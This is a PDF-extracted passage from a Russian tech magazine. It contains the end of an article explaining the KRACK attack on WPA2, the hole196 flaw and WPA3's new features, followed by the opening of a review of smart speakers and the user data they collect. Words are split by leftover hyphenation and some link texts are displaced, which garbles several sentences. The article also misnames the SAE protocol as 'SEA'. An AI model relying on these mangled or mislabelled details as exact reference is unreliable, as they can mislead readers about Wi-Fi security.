В октябре 2017 года была опуб ликова на уяз вимость в WPA2. И вот тут шума
ста ло  гораз до боль ше. Новый метод взло ма наз вали ата кой с пере уста нов‐ 
кой клю ча — key reinstallation attack, или сок ращен но KRACK. Ата ка работа ет
про тив  всех  сов ремен ных  сетей Wi‐Fi,  в  зависи мос ти от  кон фигура ции  сети
так же сущес тву ет воз можность манипу лиро вания дан ными.

Ре али зовать ата ку мож но, воз дей ствуя на четырех сто рон нее рукопо жатие
про токо ла WPA2. Такой хен дшейк про исхо дит,  ког да кли ент под соеди няет ся
к  защищен ной  сети, — он  под твержда ет,  что  кли ент  и  точ ка  дос тупа  име ют
общие  учет ные  дан ные.  Один  из  эта пов  это го  про цес са  —  сог ласова ние
нового  клю ча  шиф рования  для  все го  будуще го  тра фика  меж ду  кли ентом
и сетью.

Не будем оста нав ливать ся на великом мно жес тве  клю чей,  которые  учас‐ 
тву ют в четырех сто рон нем рукопо жатии. Для понима ния про цес са нам это и
не надо. Пер вым и вто рым рукопо жати ем мар шру тиза тор и кли ент обме нива‐ 
ются  загадан ными  ими  слу чай ными  чис лами  ANonce  и  SNonce  и  с  их
помощью вычис ляют ключ сес сии. Пос ле получе ния треть его пакета рукопо‐ 
жатия кли ент уста нав лива ет клю чи шиф рования и обну ляет счет чик инкре мен‐ 
та  пакетов nonce. Чет вертым рукопо жати ем  кли ент отправ ляет мар шру тиза‐ 
тору  информа цию  о  том,  что  клю чи  уста нов лены  и  мож но  начинать  обмен
дан ными.

Ата ка реали зует ся сле дующим обра зом. Пер воначаль но зло умыш ленни ку
необ ходимо похитить  тре тий пакет рукопо жатия. Этот  пакет  зло умыш ленник
рет ран сли рует кли енту, что при водит к пере уста нов ке того же клю ча и обну‐ 
лению счет чика инкре мен та пакетов nonce. Счет чик nonce непос редс твен но
учас тву ет  в  соз дании  клю чево го  потока,  с  помощью  которо го  шиф руют ся
пакеты, отправ ляемые меж ду кли ентом и мар шру тиза тором.

Из менение  nonce  при  обме не  тра фиком  гаран тиру ет  фор мирова ние
абсо лют но  раз ных  клю чевых  потоков  для  всех  переда ваемых  пакетов.  Но  в
резуль тате  ата ки  сле дующий  пос ле  пере уста нов ки  клю ча  пакет,  отправ‐ 
ляемый кли ентом, будет зашиф рован тем же клю чевым потоком, которым был
зашиф рован пер вый пакет. В чем опас ность? Дело в том, что это воз вра щает
нас к тем же проб лемам, которые были у WEP.

Про цесс четырех сто рон него рукопо жатия

В  2010  году  была  най дена  уяз вимость,  извес тная  под  кодовым  наз вани ем
hole196. Почему 196? Пытались взло мать и получи лось со 196‐го раза? Нет,
прос то на 196‐й стра нице стан дарта 802.11 наш лась информа ция о том, что
для всех авто ризо ван ных в сети поль зовате лей при широко веща тель ных зап‐ 
росах исполь зует ся оди нако вый ключ шиф рования.

Бла года ря hole196 ста ли воз можны ми дав но извес тные ата ки ARP/DHCP
Spoofing. Уяз вимость в свое вре мя надела ла дос таточ но шума, но наз вать ее
осо бен но кри тич ной было нель зя. Почему? Во‐пер вых, преж де чем вес ти ата‐ 
ку,  нуж но  было  авто ризо вать ся  в  сети.  Во‐вто рых,  эта  уяз вимость  лечит ся
при мене нием фай рво ла.

ЧТО ТАКОЕ WPA3?
27  июня  2018  года  аль янс  Wi‐Fi  объ явил  об  окон чании  раз работ ки  нового
стан дарта  безопас ности  —  WPA3.  Это  одновре мен но  и  новый  про токол
безопас ности, и наз вание соот ветс тву ющей прог раммы сер тифика ции.

Преж де чем на том или ином обо рудо вании появит ся лей бл «WPA3», ему
необ ходимо  будет  прой ти  огромное  количес тво  тес тов  —  это  гаран тиру ет
кор рек тную работу с дру гими устрой ства ми, получив шими ту же мет ку. С точ‐ 
ки  зре ния  поль зовате ля  стан дарт  WPA3  мож но  наз вать  и  про токо лом
безопас ности,  но  под разуме вает ся  под  этим  не  аппа рат ная  реали зация,
а соот ветс твие нор мативам.

ОТЛИЧИЯ WPA3 ОТ WPA2
Соз датели  WPA3  попыта лись  устра нить  кон цепту аль ные  недора бот ки,
которые  всплы ли  с  появ лени ем KRACK. Новый  стан дарт,  как  и  во  всех  пре‐ 
дыду щих  слу чаях,  осно ван  на  тех нологи ях  его  пред шес твен ника.  В  анон се
WPA3  пред ста вите ли  аль янса  Wi‐Fi  говори ли  о  при мене нии  четырех  новых
тех нологий,  приз ванных  встать  на  защиту  бес про вод ного  соеди нения.  Но  в
ито ге  лишь  одна  из  них  ста ла  обя затель ной  для  реали зации  про изво дите‐ 
лями.

Пос коль ку  клю чевая уяз вимость скры валась в четырех сто рон нем рукопо‐ 
жатии, в WPA3 добави лась обя затель ная под дер жка более надеж ного метода
соеди нения — SEA, так же извес тно го как Dragonfly. Тех нология SEA (Simulta‐
neous  Authentication  of  Equals)  уже  при меня лась  в  mesh‐сетях  и  опи сана
в стан дарте IEEE 802.11s. Она осно вана на про токо ле обме на клю чами Диф‐ 
фи — Хел лма на с исполь зовани ем конеч ных цик личес ких групп.

SEA  отно сит ся  к  про токо лам  типа  PAKE  и  пре дос тавля ет  инте рак тивный
метод, в соот ветс твии с которым две и более сто роны уста нав лива ют крип‐ 
тогра фичес кие клю чи, осно ван ные на зна нии пароля одной или нес коль кими
сто рона ми.  Резуль тиру ющий  ключ  сес сии,  который  получа ет  каж дая  из  сто‐ 
рон  для  аутен тифика ции  соеди нения,  выбира ется  на  осно ве  информа ции
из пароля, клю чей и MAC‐адре сов обе их сто рон. Если ключ одной из сто рон
ока жет ся ском про мети рован, это не пов лечет ком про мета ции клю ча сес сии.
И даже узнав пароль, ата кующий не смо жет рас шифро вать пакеты.

Еще  одним  нов шес твом WPA3  будет  под дер жка  PMF  (Protected Manage‐
ment  Frames)  для  кон тро ля  целос тнос ти  тра фика.  Но  в  будущем  под дер жка
PMF ста нет обя затель ной и для WPA2.

Не  попали  в  сер тифика цию WPA3  прог раммы Wi‐Fi  Easy  Connect  и Wi‐Fi
Enhanced  Open.    поз воля ет  реали зовать  упро щен ную
нас трой ку  устрой ств  без  экра на.  Для  это го  мож но  исполь зовать  дру гое,
более  прод винутое  устрой ство,  уже  под клю чен ное  к  бес про вод ной  сети.
Нап ример,  парамет ры  сети  для  дат чиков  и  умной  домаш ней  утва ри  мож но
будет задавать со смар тфо на, сфо тог рафиро вав QR‐код на кор пусе девай са.

Wi-Fi  Easy  Connect

Easy Connect  осно ван  на  при мене нии  аутен тифика ции  по откры тым  клю‐ 
чам  (в QR‐коде переда ется откры тый ключ) и может исполь зовать ся в сетях
с WPA2 и WPA3. Еще одна при ятная осо бен ность Wi‐Fi Easy Connect — воз‐ 
можность  замены  точ ки  дос тупа  без  необ ходимос ти  перенас тра ивать  все
устрой ства.

 под разуме вает шиф рование всех потоков дан ных
меж ду кли ентом и точ кой дос тупа. Эта тех нология поз волит защитить при ват‐ 
ность  поль зовате ля  в  пуб личных  сетях,  где  не  тре бует ся  аутен тифика ция.
Для генера ции клю чей в  таких сетях будет при менять ся про цесс сог ласова‐ 
ния соеди нения, реали зуемый рас ширени ем Opportunistic Wireless Encryption.

Wi-Fi Enhanced Open

Под дер жка обе их тех нологий не обя затель на для сер тифика ции по WPA3,
но про изво дитель может при желании сам вклю чить их под дер жку в про дукт.

Как и в WPA2, в WPA3 пре дус мотре но два режима работы: WPA3‐Personal
и WPA3‐Enterprise.
• WPA3‐Personal  обес печит  надеж ную  защиту,  в  осо бен ности  если  поль‐ 
зователь  задал  стой кий  пароль,  который  нель зя  получить  сло вар ным
перебо ром.  Но  если  пароль  не  сов сем  три виаль ный,  то  дол жно  помочь
новое  огра ниче ние  на  чис ло  попыток  аутен тифика ции  в  рам ках  одно го
рукопо жатия. Так же огра ниче ние не поз волит под бирать пароль в офлай‐ 
новом режиме. Вмес то клю ча PSK в WPA3 реали зова на тех нология SEA.

• WPA3‐Enterprise под разуме вает шиф рование на осно ве как минимум 192‐
раз рядных клю чей, соот ветс тву ющих тре бова ниям CNSA (они вырабо таны
комите том NSS для защиты пра витель ствен ных, воен ных и про мыш ленных
сетей). Для аутен тифици рован ного шиф рования рекомен довано при мене‐ 
ние  256‐раз рядных  клю чей  GCMP‐256,  для  переда чи  и  под твержде ния
клю чей исполь зует ся HMAC с хешами SHA‐384, для сог ласова ния клю чей
и  аутен тифика ции —  ECDH  и  ECDSA  с  384‐раз рядны ми  эллипти чес кими
кри выми, для защиты целос тнос ти кад ров — про токол BIP‐GMAC‐256.

КОГДА ЖДАТЬ WPA3?
По ка  нет  офи циаль ной  информа ции  об  устрой ствах,  которые  смо гут
в  будущем получить  под дер жку WPA3. Вряд  ли  сто ит  наде ять ся  и  на  то,  что
во  мно гих  роуте рах  WPA3  появит ся  пос ле  апдей та  про шив ки.  В  теории
это воз можно,  но  тог да про изво дите лям при дет ся сер тифици ровать ста рые
устрой ства. Ско рее все го, делать это го они не будут и пред почтут пот ратить
ресур сы на выпуск новых моделей.

На  офи циаль ном  сай те  аль янса Wi‐Fi  уже  опуб ликован 
с под дер жкой WPA3, но пока что их все го шесть штук. Одна ко наличие такого
спис ка  озна чает,  что  до  появ ления WPA3  оста лось  ров но  столь ко  вре мени,
сколь ко необ ходимо для интегра ции про токо ла в новые устрой ства. По прог‐ 
нозам аль янса Wi‐Fi, ожи дает ся, что устрой ства с под дер жкой WPA3 получат
рас простра нение на рын ке в 2019 году вмес те с устрой ства ми с под дер жкой
Wi‐Fi‐802.11ax (или Wi‐Fi 6  ).

спи сок  устрой ств

сог ласно новой схе ме наиме нова ния

ВЫВОДЫ
Тот факт, что WPA3 обратно сов местим с WPA2, уже   Мэти Ван‐ 
хофа,  авто ра  ата ки  KRACK.  Он  счи тает,  что  в  уго ду  сов мести мос ти
с WPA2 аль янс Wi‐Fi при нял недос таточ ные меры для уси ления безопас ности.
Иссле дова тели уве рены, что най дет ся спо соб обхо да PMF для при нуди тель‐ 
ного отсо еди нения кли ента от сети. Внед рение SEA хоть и усложнит про веде‐ 
ние сло вар ных атак, но не исклю чит их и лишь сде лает более дли тель ными,
а для обхо да защиты в откры тых сетях ата кующий по‐преж нему смо жет раз‐ 
вернуть свою точ ку дос тупа и перех ватывать тра фик.

выз вал кри тику

Так же иссле дова тель Дэн Хар кинс    ,  свя‐ 
зан ным  с  Dragonfly,  усом нившись  в  его  надеж ности.  И  это  уже  не  говоря
о том, что Кевин Айгоу, пред седатель рабочей груп пы по крип тостан дартам,
утвер жда ющей Dragonfly, по слу хам, работа ет в АНБ. Так что надеж ность SEA
пока что под некото рым сом нени ем.

по ложил начало бур ным дебатам

Но даже  нес мотря  на  все  эти  опа сения, WPA3 — это  оче ред ной  про рыв
на пути к уси лению безопас ности бес про вод ных соеди нений. Най дет ся ли и в
нем кри тичес кая брешь? Пос мотрим!

mailto:lev.gera@gmail.com
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https://www.ietf.org/mail-archive/web/tls/current/msg10922.html
https://news.ycombinator.com/item?id=17403697
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ПРИВАТНОСТЬ

В  нашей  лабора тории  соб рался  пол ный  ком плект  умных
колонок,  вклю чая  мно жес тво  устрой ств  с  Amazon  Alexa
и  Google  Assistant,  а  так же  колон ки  с  Apple  Siri  и  Microsoft
Cortana. В этой статье мы срав ним «интеллект» помощ ников
и  рас ска жем  о  том,  что  такое  умные  ассистен ты,  как  они
работа ют, какие дан ные переда ют про изво дите лю и как они
там  хра нят ся.  Наконец,  мы  поп робу ем  извлечь  соб ранную
умным  помощ ником  информа цию  с  сай та  про изво дите ля
на  при мере  самой  популяр ной  линей ки  устрой ств  Amazon
Echo.

Прог ресс в рас позна вании и син тезе речи, пом ножен ный на быс тро раз вива‐ 
ющий ся  искусс твен ный  интеллект,  при вел  к  соз данию  голосо вых  помощ‐ 
ников. Спер ва  голосо вые помощ ники появи лись на  телефо нах и план шетах.
Потом — нес коль ко потеряв в фун кци ональ нос ти — переко чева ли в телеви‐ 
зоры. При мер но  в  то  же  вре мя  ста ли  выпус кать  и  отдель ные  ста ционар ные
устрой ства,  в  которых  «живут»  помощ ники,  —  умные  колон ки.  В  све жем
поколе нии  устрой ств  —  новин ка:  умные  колон ки  обо рудо вали  экра ном
и  камерой  (что  не  прев раща ет,  впро чем,  такое  устрой ство  в  план шет
без батарей ки — все‐таки начин ка там ско рее от колонок, чем от план шетов).
Недалек  тот  момент,  ког да  голосо вой  ассистент  будет  вещать  из  каж дого
утю га:  холодиль ник и мик ровол новка  с Alexa  на рын ке  уже есть,  на оче реди
сти раль ные машины.

Про изво дите ли  пред лага ют  все  более  широкий  модель ный  ряд,  сорев‐ 
нуясь  друг  с  дру гом  по  клю чевым  харак терис тикам  и  пос тоян но  работая
над  сни жени ем  цены  устрой ств. Доходит  до  того,  что  качес твен ная  колон ка
с голосо вым помощ ником может сто ить раза в два, а то и в три   ана‐ 
логич ной колон ки без умно го ассистен та, а умная мик ровол новка от Amazon
сто ит    самых  дос тупных  моделей  от  кон курен тов.  Зачем  это  нуж но
про изво дите лям? Почему они так ста рают ся помес тить сво их умных помощ‐ 
ников если не в  каж дую  кух ню,  то  уж в  ? Поп робу ем разоб‐ 
рать ся.

де шев ле

де шев ле

каж дую спаль ню

Зло дей ский искусс твен ный интеллект
Ум ные  колон ки  извес тны  сво им  дур ным  харак тером  и  жад ностью  до  поль‐ 
зователь ских дан ных.   Алек сы в тихом помеще нии дос тавил
немало «при ятных» минут вла дель цам, а устро енная ей   сто‐ 
ила хозя ину визита полиции и впол не ощу тимо го штра фа (который, впро чем,
опла тил «Ама зон» в попыт ке замять скан дал). А пом нишь ли ты забав ный слу‐ 
чай,  ког да  Алек са  слу чай но  записа ла  не  пред назна чен ный  для  чужих  ушей
раз говор и   его слу чай ному кон такту из адресной кни ги?

Зло дей ский смех
ноч ная дис котека

от пра вила
Не отста ет и Сири: колон ка, которую   любопыт ный кот, до полус‐ 

мерти  испу гала  живот ное,  а  о  самораз рушении  деревян ных  повер хнос тей,
на  которых  сто ит  ,  не  писал  лишь  ленивый.  Отли чилась  и  Google:
в  пер вой  ревизии  Google  Home  Mini  устрой ство    вла дель‐ 
цев 24 часа в сут ки, переда вая всю информа цию в штаб‐квар тиру.

по нюхал

HomePod
под слу шива ло

Ра зуме ется, не мог ли не отме тить ся и раз работ чики Facebook. Бук валь но
на днях был анон сирован оче ред ной умный гад жет для дома — Facebook Por‐
tal.  Основные  фиш ки  устрой ства —  интегра ция  с  Amazon  Alexa  для  выпол‐ 
нения голосо вых зап росов, боль шой экран и бес плат ные виде озвонки меж ду
«пор талом»  поль зовате ля  и  дру гими  ана логич ными  устрой ства ми,  а  так же
при ложе нием  Facebook Messenger  на  смар тфо нах. На фоне  недав них  скан‐ 
далов  во  вре мя  пре зен тации  устрой ства  пред ста вите ли  Facebook  осо бое
вни мание  обра тили  на  защиту  при ват ности.  Утвер жда лось,  что  в  новых
устрой ствах  не  будет  рек ламы,  а  дан ные,  которые  ста нет  собирать  устрой‐ 
ство, ком пания не намере на исполь зовать для целевой рек ламы.

В ито ге все выш ло с точ ностью до  . То есть рек ламы (пока?) нет,
но вот с дан ными неудоб но получи лось.

на обо рот

Portal voice calling is built on the Messenger infrastructure, so when
you make a video call on Portal, we collect the same types of infor-
mation (i. e. usage data such as length of calls, frequency of calls)
that we collect on other Messenger-enabled devices. We may use
this  information  to  inform  the  ads  we  show  you  across  our  plat-
forms. Other general usage data, such as aggregate usage of apps,
etc., may also feed into the information that we use to serve ads

Собс твен но,  ком мента рии  излишни.  Про цити руем  лишь  авто ра  :
«Пока что оправда ние из серии „мои кол леги име ли в виду, что мы не собира‐ 
емся исполь зовать эти дан ные для рек ламы, но мы можем их исполь зовать“.
НУ  ТАК,  КОНЕЧ НО,  ГОРАЗ ДО  ЛУЧ ШЕ.  Надо  быть  совер шенно  упо ротым,
конеч но, что бы доб роволь но этот сбор щик дан ных рек ламно го агентства пос‐ 
тавить себе дома».

alexmak.net

ЗАЧЕМ ЭТО НУЖНО ТЕБЕ
В  чем  смысл  исполь зовать  умную  колон ку  дома?  Дей стви тель но  ли  от  них
боль ше поль зы, чем вре да, и сто ит ли игра свеч?

В  течение  полуто ра  лет  мы  соб рали  пол ную  кол лекцию  голосо вых
ассистен тов и активно поль зовались каж дым из них. Прак тика показа ла, что
чаще все го мы исполь зовали сле дующие виды активнос ти:
1. Му зыка.  Это  дей стви тель но  удоб но!  Да,  по  качес тву  зву чания  циф ровые
колон ки (за исклю чени ем, пожалуй, Sonos и Apple HomePod) звезд с неба
не  хва тают, но для фоново го прос лушива ния они прис пособ лены прос то
иде аль но.  «Siri, play  rock music»,  «Alexa, play metal  from  the 80’s» — и оно
игра ет, при чем хорошо игра ет!

2. Уп равле ние  осве щени ем.  «Alexa,  turn  off  the  lights» —  удоб но!  Осо бен но
с уче том того, что колон ки «зна ют», в какой ком нате находят ся, и спо соб ны
реаги ровать соот ветс твен но.

3. Бу диль ник. При ятно про сыпать ся под музыку, которую сам выб рал, а циф‐ 
ровые  ассистен ты  поз воля ют  это  сде лать  самым  прос тым  из  воз можных
спо собов.

4. Раз вле чение для ребен ка. Ты уди вишь ся, какими задача ми спо соб ны наг‐ 
ружать  циф ровых  ассистен тов  дети.  Зву ки  живот ных,  отве ты  на  прос тые
и кавер зные воп росы, музыка, корот кие исто рии — это даже не начало.

Да,  мно гие  вещи  мож но  сде лать  с  помощью  кос тыля  в  виде  смар тфо на
или план шета. Одна ко для это го телефон нуж но как минимум взять в руку (или
док ричать ся до него через всю ком нату), и при этом все рав но не будет нас‐ 
толь ко  качес твен ного зву ка и  уве рен ного рас позна вания  (шесть нап равлен‐ 
ных мик рофонов, рас положен ных в све жих вер сиях умных колонок по кру гу, —
это дей стви тель но хорошо).

Не дос татки тоже оче вид ны. Для нас это в пер вую оче редь отсутс твие под‐ 
дер жки рус ско го язы ка (а в телефо нах есть!), отсутс твие под дер жки мес тных
новос тей,  информа ции  из  рус ско языч ных  источни ков.  У  Google  и  Apple  все
это,  вклю чая рус ский язык,  уже доволь но дав но реали зова но в смар тфо нах,
а в слу чае с Google Assistant и в телеви зорах, но на умных колон ках вклю чить
под дер жку  рус ско го  язы ка  не  судь ба.  Тем  не  менее  даже  в  текущем  виде
поль зовать ся циф ровыми помощ никами удоб но.

ЗАЧЕМ ЭТО НУЖНО ПРОИЗВОДИТЕЛЯМ
Ес ли умные помощ ники — бла го, то почему умные устрой ства час тень ко про‐ 
дают  дешев ле  ана логов,  не  обре менен ных  излишним интеллек том? Есть  ли
в них какой‐то про фит для про изво дите лей?

Ко неч но  же,  есть!  Нап ример,  Google  собира ет  о  тебе  под робней шую
информа цию,  и  циф ровые  колон ки  лишь  еще  один  спо соб  это  делать.  Вот

 опи сано под робно.здесь
Вот что Google будет о тебе собирать:

If you have opted to share information with Google, Google uses that infor-
mation,  along  with  your  Google  history,  to  better  assist  you  with  cus-
tomizations  like  your  name  and  interests.  You  can  delete  your  history,
which  will  limit  the  personalized  experience  for  features  like  the  Google
Assistant. You can view your history with the Google Assistant in My Activi-
ty,  which  is  accessible  through  the  setup  app  and  online  at myactivity.-
google.com. You have control over your data and the power to delete his-
tory at any time.

А вот — зачем:

What does Google do with the data it collects?
First and foremost, we use data to make our services faster, smarter,

and  more  useful  to  you,  such  as  by  providing  better  search  results
and  timely  traffic  updates.  Data  also  helps  protect  you  from  malware,
phishing,  and  other  suspicious  activity.  For  example,  we warn  you when
you try to visit dangerous websites. Also, on surfaces where we show ads,
we use data to show you ads that are relevant and useful, and to keep our
services free for everyone. Google Home learns over time to provide bet-
ter  and more  personalized  suggestions  and  answers.  For more  informa-
tion, visit Google’s Privacy Policy.

Как  видишь,  все  до  баналь ного  прос то:  чем  боль ше  ты  поль зуешь ся  сер‐ 
висами  Google,  тем  более  релеван тную  рек ламу  ком пания  смо жет  тебе
показать  на  всех  тво их  устрой ствах  и  тем боль ше денег от  рек ламода телей
зарабо тает.

А  для  чего  это  все  Amazon?  Офи циаль но  —  что бы  сде лать  Алек су
еще умнее, луч ше и полез нее для тебя, дорогой поль зователь.

Не офи циаль ная,  но  оче вид ная  цель  Amazon  —  про дать  тебе…  что‐нибудь.
Это может быть  как  товар из  обширно го  катало га  самого магази на  или его
тор говой  пло щад ки,  так  и  чис то  циф ровой  кон тент:  под писка  на  Amazon
Prime,  покуп ка  филь мов  и  музыки,  элек трон ных  книг  Kindle,  ауди окниг.
Наконец  —  под писка  на  стри мин говый  сер вис  Amazon  Music  Unlimited,
который начина ет при носить ком пании все более сущес твен ный доход.

Что нас чет Apple? Здесь — оче вид но: рас ширение зак рытой эко сис темы
Apple оче ред ным устрой ством и про дажа под писки на Apple Music. Все рав но
никакие  дру гие  стри мин говые  сер висы  колон ка HomePod  не  под держи вает,
а доход от под писки на циф ровой кон тент — один из важ ней ших для Apple.

А Microsoft  с  циф ровым ассистен том Cortana? Здесь,  к  сожале нию,  сло‐ 
жилась  ситу ация  «мы  тоже!»,  очень  похожая  на  то,  что  про исхо дило  с  сис‐ 
темой Windows Phone, а затем — с Windows 10 Mobile. Да, Microsoft хотелось
бы,  что бы  Cortana  была  в  доме  у  каж дого  поль зовате ля.  Но  на  дес кто пах
и ноут буках  голосо вым помощ ником поль зует ся исче зающе малый про цент,
а  телефо нов  с  собс твен ной  мобиль ной  ОС,  в  которой  Cortana  была  бы
ассистен том  по  умол чанию,  у  ком пании  боль ше  нет.  Вот  и  при ходит ся  Mi‐
crosoft  скре пя сер дце пус кать ся в экспе римен ты, ста раясь пот ратить на них
как мож но мень ше денег… с соот ветс тву ющим резуль татом.

КАКОЙ АССИСТЕНТ ЛУЧШЕ?
Уве рен,  замет ная  часть  читате лей  откры ла  эту  статью  исклю читель но  ради
срав нитель ного  обзо ра  циф ровых  ассистен тов.  В  нашей  лабора тории  соб‐ 
рался  целый  парк  устрой ств,  на  каж дом  из  которых  работа ет  тот  или  иной
циф ровой  ассистент.  В  этом  раз деле мы  рас смот рим  как  сами  устрой ства,
так и воз можнос ти их циф ровых ассистен тов.

К  сожале нию,  единс твен ный  рус ско языч ный  помощ ник  Али са  ком пании
Яндекс к нам на тес тирова ние не попал,  так что в обзо ре будут учас тво вать
толь ко англо гово рящие устрой ства.

Google Home
В  нашей  лабора тории  есть  как  сред няя  колон ка  Google  Home,  так  и  ее
мини‐вер сия.

Нас трой ка обо их устрой ств прос та и проз рачна — через при ложе ние для iOS
или  Android.  На  колон ках  мож но  выб рать  нес коль ко  язы ков,  но  рус ский
в перечень не вхо дит. Учи тывая, что Google Assistant дав но дос тупен на рус‐ 
ском язы ке как в смар тфо нах, так и в телеп ристав ках (нап ример, NVIDIA Shield
TV), огра ниче ние выг лядит искусс твен ным.

В  обо их  устрой ствах  отлично  реали зова ны  мик рофоны;  проб лем  с  рас‐ 
позна вани ем  нет  даже  во  вре мя  про игры вания  музыки.  Качес тво  зву чания
у  сред ней  колон ки  Google  Home  замет но  выше,  чем  у  пер вого  поколе ния
Amazon Echo; уди витель но для столь ком пак тных раз меров.

С  точ ки  зре ния  под дер жки  устрой ств  умно го  дома  Google  ненам ного
отста ла от Alexa. Все име ющиеся у нас устрой ства с под дер жкой Alexa уда‐ 
лось добавить и в при ложе ние Google Home. А вот встро енный хаб в Google
Home  отсутс тву ет;  «рулить»  устрой ства ми  мож но  либо  через  Wi‐Fi,  либо
при помощи выделен ного хаба (нап ример, от Philips).

Google Assistant, пожалуй, самый умный циф ровой ассистент. У него есть
дос туп  ко  всей информа ции из  тво ей  учет ной  записи Google,  к  тво ему  поч‐ 
товому  ящи ку  Gmail,  кален дарям,  кон тактам,  исто рии  поис ковых  зап росов
и исто рии бра узе ра. С боль шой веро ятностью Google Home отве тит на твои
воп росы  в  кон тек сте  тво их  пре дыду щих  зап росов,  сде лан ных  на  любом
устрой стве.  В  Google  под держи вает ся  мно гополь зователь ский  режим:
ассистент  спо собен  опре делять  поль зовате ля  по  голосу  и  выдавать  соот‐ 
ветс тву ющий ситу ации ответ. При этом нуж но чет ко понимать, что все ска зан‐ 
ное  пос ле  акти вации  колон ки  клю чевым  сло вом  будет  записа но,  переда но
на сер вер Google и сох ранено на нем до тех пор, пока ты лич но не зай дешь
и не уда лишь дан ные. В наших иссле дова ниях мы находи ли зап росы полуто‐ 
ра‐двух годич ной дав ности.

Рас ширения сис темы, сте реопар — не пре дус мотре но.

Amazon Echo и Alexa
У  Amazon  самый  широкий  ассорти мент  устрой ств  с  умным  голосо вым
ассистен том. Это и нес коль ко поколе ний раз нооб разных колонок, и устрой‐ 
ства  со  встро енным  хабом  умно го  дома,  и  прис тавки  Fire  TV,  и  устрой ства
с  экра нами  любой  фор мы,  и  даже  мик ровол новка.  Amazon  дей стви тель но
стре мит ся к тому, что бы Алек са вещала из каж дого утю га, и совер шает прак‐ 
тичес кие шаги в этом нап равле нии.

В  нашей  лабора тории  побыва ли  устрой ства  Echo  Dot  2,  Echo  пер вого
и вто рого поколе ний, Echo Plus пер вого поколе ния, нес коль ко поколе ний Fire
TV и  так же устрой ство с экра ном Echo Spot. Рас смот рим основные осо бен‐ 
ности.

Пер воначаль но  нас тра ивать  колон ку  нуж но  через  при ложе ние  Alexa
для  iOS  или  Android  (нас трой ка  Echo  Spot  и  Echo  Show —  с  экра на  самого
устрой ства). Нас трой ка прос та и обхо дит ся без сюр при зов. Каж дому устрой‐ 
ству мож но наз начить свою ком нату, а для некото рых моделей  (Echo 2 Gen,
Echo Plus обо их поколе ний) и роль в сте реопа ре. Мож но допол нитель но под‐ 
клю чить недоро гой бес про вод ной саб вуфер Echo Sub.

Кста ти,  «недоро гой»  —  клю чевая  харак терис тика  всех  сов ремен ных
устрой ств  Amazon.  Ком пания  идет  по  пути  пос ледова тель ного  уде шев ления
аппа рат ной начин ки, пыта ясь при помощи прог рам мных нарабо ток сох ранить
или улуч шить качес тво зву чания. Мно гие ли видели вжи вую пер вое поколе ние
Echo  Dot,  быс тро  сме нив шееся  вто рым?  А  ведь  в  них  было  реали зова но
управле ние гром костью, как в «боль ших» Echo, при сутс тво вали допол нитель‐ 
ные  пор ты  и  эле мен ты  управле ния. Но  вто рое  поколе ние  ста ло  дешев ле —
и побило все мыс лимые рекор ды про даж. То же про изош ло и пос ле замены
пер вого поколе ния Echo на вто рое, с более дешевой аппа рат ной начин кой,
но прог рам мным обра зом уси лен ными басами (прог рам мное уси ление ста ло
оче вид ным, ког да пер вые пар тии устрой ств были дос тавле ны с ори гиналь ной
про шив кой и откро вен но «жес тяным» зву ком. Нас трой ки эква лай зера быс тро
под кру тили в оче ред ном обновле нии про шив ки).

Тем  не  менее  колон ки  от  Amazon  пред лага ют  уве рен ное  рас позна вание
как  сло ва‐акти вато ра,  так  и  пос леду ющих  голосо вых  команд:  набор  мик‐ 
рофонов  и  алго рит мы  шумопо дав ления  и  вычита ния  собс твен ного  зву ка
реали зова ны образцо во.

Ка чес тво  зву чания  самих  колонок  ско рее пос редс твен ное,  чем  хорошее.
Пер вое поколе ние Echo пред лага ет сба лан сирован ный звук, но низ ких час тот
малова то. Вто рое поколе ние Echo я слу шать не смог, но пос ле обновле ния
про шив ки  с  уси лени ем  низ ких  час тот  поль зовате лям  ста ло  нра вить ся.  Echo
Plus пер вого поколе ния игра ет доволь но  гром ко,  но низ ких  час тот  слиш ком
мно го, они подав ляют середи ну; зву чание колон ки не получа ется наз вать чис‐ 
тым  или  сба лан сирован ным.  Впро чем,  для фоново го  прос лушива ния  хва тит
любой из этих  колонок, а ауди офи лам здесь ловить в любом слу чае нечего.
Энту зиас ты  смо гут  под клю чить  мини атюр ный  Echo  Dot  к  сте реосис теме
или активным колон кам пос редс твом ауди овы хода 3,5 мм; звук в этом слу чае
получа ется дос таточ но неп лохим.

А  что  нас чет  самой  Алек сы?  Алек са  —  весь ма  прод винутый  голосо вой
помощ ник  с  мас сой  дос тоинств  и  неболь шим  набором  недос татков,
основной  из  которых —  отсутс твие  под дер жки  рус ско го  язы ка  и  нев нятные
пер спек тивы  его  появ ления.  Если  у Google  и  Apple  рус ский  язык  уже  дав но
под держи вает ся в телефон ных вер сиях ассистен тов и его внед рение в колон‐ 
ки — воп рос вре мени, то Amazon как магазин на рос сий ском рын ке не при‐ 
сутс тву ет, колон ки не про дает, под писок на циф ровой кон тент не пред лага ет.
Как  ни  грус тно  это  приз навать,  у  Amazon мень ше  все го  сти мулов  для  внед‐ 
рения рус ско го язы ка в свои устрой ства.

Что уме ет Алек са? Все, что дол жен уметь циф ровой ассистент. Тай меры,
напоми нания, отве ты на воп росы. Ауди окни ги и сказ ки. Широчай ший спектр
под держи ваемых устрой ств умно го дома. Разуме ется, музыка — если у тебя
есть под писка на Amazon Prime или Amazon Music Unlimited (пос ледняя, кста‐ 
ти, дос тупна за пол цены, если акти виро вать под писку с колон ки Echo и про‐ 
игры вать ком позиции толь ко через колон ки).

Так же как и Google, Amazon собира ет информа цию о том, как ты исполь‐ 
зуешь  колон ку.  Ниже  мы  рас смот рим,  какую  имен но  информа цию  и  как  ее
извлечь.
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СКАЖИ КОРТАНЕ,
ПУСТЬ ПОИЩЕТ
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КАКИЕ БЫВАЮТ УМНЫЕ КОЛОНКИ,

КАК ОНИ РАБОТАЮТ И КАКУЮ ИНФОРМАЦИЮ
О НАС СОБИРАЮТ

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

Сто рон ние колон ки с Alexa
Из  сто рон них  колонок  с  Alexa  в  нашей  лабора тории  проч но  про писа лась
Sonos One.

Для нас трой ки пот ребу ется уста новить при ложе ние Sonos; интегра ция с Alexa
про изой дет в самом кон це нас трой ки (мож но и не интегри ровать, собс твен‐ 
ный  набор  фун кций  колон ки  дос таточ но  богат).  Вооб ще,  все  сто рон ние
колон ки  с Alexa  исполь зуют  слож ную дву хэтап ную схе му  нас трой ки:  сна чала
через собс твен ное при ложе ние про изво дите ля и толь ко потом — через при‐ 
